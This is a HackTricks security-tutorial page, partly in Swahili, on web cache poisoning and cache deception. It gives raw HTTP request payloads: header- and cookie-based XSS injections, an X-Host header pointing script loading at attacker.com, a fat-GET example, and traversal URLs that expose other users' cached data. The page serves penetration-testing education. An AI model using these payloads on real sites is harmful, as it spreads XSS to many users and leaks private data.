Cache Poisoning and Cache Deception

Reading time: 13 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Tofauti

Nini tofauti kati ya web cache poisoning na web cache deception?

  • Katika web cache poisoning, mshambuliaji anasababisha programu kuhifadhi maudhui mabaya katika cache, na maudhui haya yanatolewa kutoka kwenye cache kwa watumiaji wengine wa programu.
  • Katika web cache deception, mshambuliaji anasababisha programu kuhifadhi maudhui nyeti yanayomilikiwa na mtumiaji mwingine katika cache, na mshambuliaji kisha anapata maudhui haya kutoka kwenye cache.

Cache Poisoning

Cache poisoning inalenga kubadilisha cache ya upande wa mteja ili kulazimisha wateja kupakua rasilimali ambazo hazitarajiwa, sehemu, au chini ya udhibiti wa mshambuliaji. Kiwango cha athari kinategemea umaarufu wa ukurasa ulioathiriwa, kwani jibu lililochafuliwa linatolewa pekee kwa watumiaji wanaotembelea ukurasa wakati wa kipindi cha uchafuzi wa cache.

Utekelezaji wa shambulio la cache poisoning unajumuisha hatua kadhaa:

  1. Utambuzi wa Ingizo Lisilo na Funguo: Hizi ni vigezo ambavyo, ingawa havihitajiki kwa ombi kuhifadhiwa, vinaweza kubadilisha jibu linalotolewa na seva. Kutambua vigezo hivi ni muhimu kwani vinaweza kutumika kubadilisha cache.
  2. Kutatua Vigezo Visivyo na Funguo: Baada ya kutambua vigezo visivyo na funguo, hatua inayofuata ni kubaini jinsi ya kutumia vibaya vigezo hivi ili kubadilisha jibu la seva kwa njia inayomfaidi mshambuliaji.
  3. Kuhakikisha Jibu Lililochafuliwa Linahifadhiwa: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa linahifadhiwa katika cache. Kwa njia hii, mtumiaji yeyote anayefikia ukurasa ulioathiriwa wakati cache imechafuliwa atapata jibu lililochafuliwa.

Ugunduzi: Angalia vichwa vya HTTP

Kawaida, wakati jibu lime hifadhiwa katika cache kutakuwa na kichwa kinachoonyesha hivyo, unaweza kuangalia vichwa gani unapaswa kuzingatia katika chapisho hili: HTTP Cache headers.

Ugunduzi: Makaratasi ya makosa ya caching

Ikiwa unafikiria kwamba jibu linahifadhiwa katika cache, unaweza kujaribu kutuma maombi yenye kichwa kibaya, ambacho kinapaswa kujibiwa kwa kodi ya hali 400. Kisha jaribu kufikia ombi kawaida na ikiwa jibu ni kodi ya hali 400, unajua ni hatari (na unaweza hata kufanya DoS).

Unaweza kupata chaguzi zaidi katika:

{{#ref}} cache-poisoning-to-dos.md {{#endref}}

Hata hivyo, kumbuka kwamba wakati mwingine aina hizi za kodi za hali hazihifadhiwi hivyo jaribio hili linaweza kuwa si la kuaminika.

Ugunduzi: Tambua na tathmini vigezo visivyo na funguo

Unaweza kutumia Param Miner ili kufanya brute-force vigezo na vichwa ambavyo vinaweza kuwa vinabadilisha jibu la ukurasa. Kwa mfano, ukurasa unaweza kuwa unatumia kichwa X-Forwarded-For kuonyesha mteja kupakua script kutoka pale:

markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Elicit a harmful response from the back-end server

With the parameter/header identified check how it is being sanitised and where is it getting reflected or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...)

Get the response cached

Once you have identified the page that can be abused, which parameter/header to use and how to abuse it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds.

The header X-Cache in the response could be very useful as it may have the value miss when the request wasn't cached and the value hit when it is cached.
The header Cache-Control is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: Cache-Control: public, max-age=1800

Another interesting header is Vary. This header is often used to indicate additional headers that are treated as part of the cache key even if they are normally unkeyed. Therefore, if the user knows the User-Agent of the victim he is targeting, he can poison the cache for the users using that specific User-Agent.

One more header related to the cache is Age. It defines the times in seconds the object has been in the proxy cache.

When caching a request, be careful with the headers you use because some of them could be used unexpectedly as keyed and the victim will need to use that same header. Always test a Cache Poisoning with different browsers to check if it's working.

Exploiting Examples

Easiest example

A header like X-Forwarded-For is being reflected in the response unsanitized.
You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed:

markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Note that this will poison a request to /en?region=uk not to /en

Cache poisoning to DoS

{{#ref}} cache-poisoning-to-dos.md {{#endref}}

Cookies zinaweza pia kuakisiwa kwenye jibu la ukurasa. Ikiwa unaweza kuitumia vibaya kusababisha XSS kwa mfano, unaweza kuwa na uwezo wa kutumia XSS katika wateja kadhaa wanaopakia jibu la cache lenye uharibifu.

markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Kumbuka kwamba ikiwa cookie iliyo hatarini inatumika sana na watumiaji, maombi ya kawaida yatakuwa yakisafisha cache.

Kutengeneza tofauti na vikwazo, urekebishaji na nukta

Angalia:

{{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}}

Kuambukiza cache kwa kutumia njia za kupita ili kuiba funguo za API

Hii inayoandikwa inaelezea jinsi ilivyowezekana kuiba funguo za OpenAI API kwa URL kama https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 kwa sababu chochote kinacholingana na /share/* kitahifadhiwa bila Cloudflare kuandika URL, ambayo ilifanywa wakati ombi lilipofika kwenye seva ya wavuti.

Hii pia inaelezwa vizuri zaidi katika:

{{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}}

Kutumia vichwa vingi ili kutumia udhaifu wa kuambukiza cache ya wavuti

Wakati mwingine utahitaji kutumia ingizo kadhaa zisizo na funguo ili uweze kutumia cache. Kwa mfano, unaweza kupata Open redirect ikiwa utaweka X-Forwarded-Host kwa kikoa kinachodhibitiwa na wewe na X-Forwarded-Scheme kuwa http. Ikiwa seva in apeleka maombi yote ya HTTP kwenda HTTPS na kutumia kichwa X-Forwarded-Scheme kama jina la kikoa kwa ajili ya kuhamasisha. Unaweza kudhibiti mahali ukurasa unavyoelekezwa na kuhamasisha.

markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Kutumia kwa kutumia kichwa kidogo cha Vary

Ikiwa umebaini kwamba kichwa cha X-Host kinatumika kama jina la kikoa kupakia rasilimali ya JS lakini kichwa cha Vary katika jibu kinaonyesha User-Agent. Basi, unahitaji kutafuta njia ya kutoa User-Agent wa mwathirika na kuharibu cache kwa kutumia user agent hiyo:

markup
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Tuma ombi la GET na ombi katika URL na katika mwili. Ikiwa seva ya wavuti inatumia ile kutoka kwa mwili lakini seva ya cache inahifadhi ile kutoka kwa URL, mtu yeyote anayefikia URL hiyo atatumia parameter kutoka kwa mwili. Kama ile vuln James Kettle alipata kwenye tovuti ya Github:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

Kwa mfano, inawezekana kutenganisha parameters katika seva za ruby kwa kutumia herufi ; badala ya &. Hii inaweza kutumika kuweka thamani za parameters zisizo na ufunguo ndani ya zile zenye ufunguo na kuzitumia vibaya.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Jifunze hapa jinsi ya kufanya Cache Poisoning attacks by abusing HTTP Request Smuggling.

Automated testing for Web Cache Poisoning

The Web Cache Vulnerability Scanner can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable.

Example usage: wcvs -u example.com

Vulnerable Examples

Apache Traffic Server (CVE-2021-27577)

ATS ilituma kipande ndani ya URL bila kukiondoa na kuunda ufunguo wa cache kwa kutumia tu mwenyeji, njia na swali (ikikosa kipande). Hivyo ombi /#/../?r=javascript:alert(1) lilitumwa kwa backend kama /#/../?r=javascript:alert(1) na ufunguo wa cache haukuwa na payload ndani yake, tu mwenyeji, njia na swali.

GitHub CP-DoS

Kutuma thamani mbaya katika kichwa cha content-type kulisababisha jibu la 405 lililohifadhiwa. Ufunguzi wa cache ulikuwa na cookie hivyo ilikuwa inawezekana kushambulia watumiaji wasio na uthibitisho pekee.

GitLab + GCP CP-DoS

GitLab inatumia GCP buckets kuhifadhi maudhui ya statiki. GCP Buckets inasaidia kichwa x-http-method-override. Hivyo ilikuwa inawezekana kutuma kichwa x-http-method-override: HEAD na kuharibu cache ili irejeshe mwili wa jibu tupu. Pia inaweza kusaidia njia PURGE.

Rack Middleware (Ruby on Rails)

Katika programu za Ruby on Rails, Rack middleware mara nyingi hutumiwa. Lengo la msimbo wa Rack ni kuchukua thamani ya kichwa cha x-forwarded-scheme na kuipatia kama mpango wa ombi. Wakati kichwa x-forwarded-scheme: http kinatumwa, uelekeo wa 301 unafanyika kwa eneo lile lile, huenda kusababisha Denial of Service (DoS) kwa rasilimali hiyo. Zaidi ya hayo, programu inaweza kutambua kichwa cha X-forwarded-host na kuwarudisha watumiaji kwa mwenyeji uliotajwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwa seva ya mshambuliaji, ikileta hatari ya usalama.

403 and Storage Buckets

Cloudflare hapo awali ilihifadhi majibu ya 403. Kujaribu kufikia S3 au Azure Storage Blobs kwa kichwa kisichofaa cha Uidhinishaji kutasababisha jibu la 403 ambalo lilihifadhiwa. Ingawa Cloudflare imeacha kuhifadhi majibu ya 403, tabia hii inaweza bado kuwepo katika huduma zingine za proxy.

Injecting Keyed Parameters

Caches mara nyingi hujumuisha parameters maalum za GET katika ufunguo wa cache. Kwa mfano, Varnish ya Fastly ilihifadhi parameter ya size katika maombi. Hata hivyo, ikiwa toleo lililowekwa URL la parameter (mfano, siz%65) lilitumwa pia na thamani isiyo sahihi, ufunguo wa cache ungejengwa kwa kutumia parameter sahihi ya size. Hata hivyo, backend ingepitia thamani katika parameter iliyowekwa URL. Kuweka URL-encoding kwenye parameter ya pili ya size kulisababisha kuondolewa kwake na cache lakini kutumika na backend. Kuweka thamani ya 0 kwa parameter hii kulisababisha kosa la 400 Bad Request linaloweza kuhifadhiwa.

User Agent Rules

Wajenzi wengine huzuia maombi na user-agents yanayolingana na yale ya zana zenye trafiki kubwa kama FFUF au Nuclei ili kudhibiti mzigo wa seva. Kwa bahati mbaya, mbinu hii inaweza kuleta udhaifu kama vile kuharibu cache na DoS.

Illegal Header Fields

The RFC7230 specifies the acceptable characters in header names. Headers containing characters outside of the specified tchar range should ideally trigger a 400 Bad Request response. In practice, servers don't always adhere to this standard. A notable example is Akamai, which forwards headers with invalid characters and caches any 400 error, as long as the cache-control header is not present. An exploitable pattern was identified where sending a header with an illegal character, such as \, would result in a cacheable 400 Bad Request error.

Finding new headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

Lengo la Cache Deception ni kufanya wateja kupakia rasilimali ambazo zitahifadhiwa na cache zikiwa na taarifa zao nyeti.

Kwanza kabisa, kumbuka kwamba extensions kama .css, .js, .png n.k. mara nyingi zimewekwa kuhifadhiwa katika cache. Hivyo, ikiwa unapata www.example.com/profile.php/nonexistent.js cache itahifadhi jibu kwa sababu inaona extension ya .js. Lakini, ikiwa programu inajibu na maudhui nyeti ya mtumiaji yaliyohifadhiwa katika www.example.com/profile.php, unaweza kuiba maudhui hayo kutoka kwa watumiaji wengine.

Mambo mengine ya kujaribu:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Tumia extensions zisizojulikana kama .avif

Mfano mwingine wazi sana unaweza kupatikana katika andiko hili: https://hackerone.com/reports/593712.
Katika mfano, inaelezwa kwamba ikiwa unapata ukurasa usio na uwepo kama http://www.example.com/home.php/non-existent.css maudhui ya http://www.example.com/home.php (pamoja na taarifa nyeti za mtumiaji) yatarudishwa na seva ya cache itahifadhi matokeo.
Kisha, mshambuliaji anaweza kufikia http://www.example.com/home.php/non-existent.css katika kivinjari chao na kuona taarifa za siri za watumiaji ambao walifika hapo awali.

Kumbuka kwamba cache proxy inapaswa kuwa imewekwa kuhifadhi faili kulingana na extension ya faili (.css) na si kulingana na aina ya maudhui. Katika mfano http://www.example.com/home.php/non-existent.css itakuwa na aina ya maudhui text/html badala ya aina ya mime text/css (ambayo inatarajiwa kwa faili ya .css).

Jifunze hapa jinsi ya kufanya Cache Deceptions attacks abusing HTTP Request Smuggling.

Automatic Tools

  • toxicache: Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks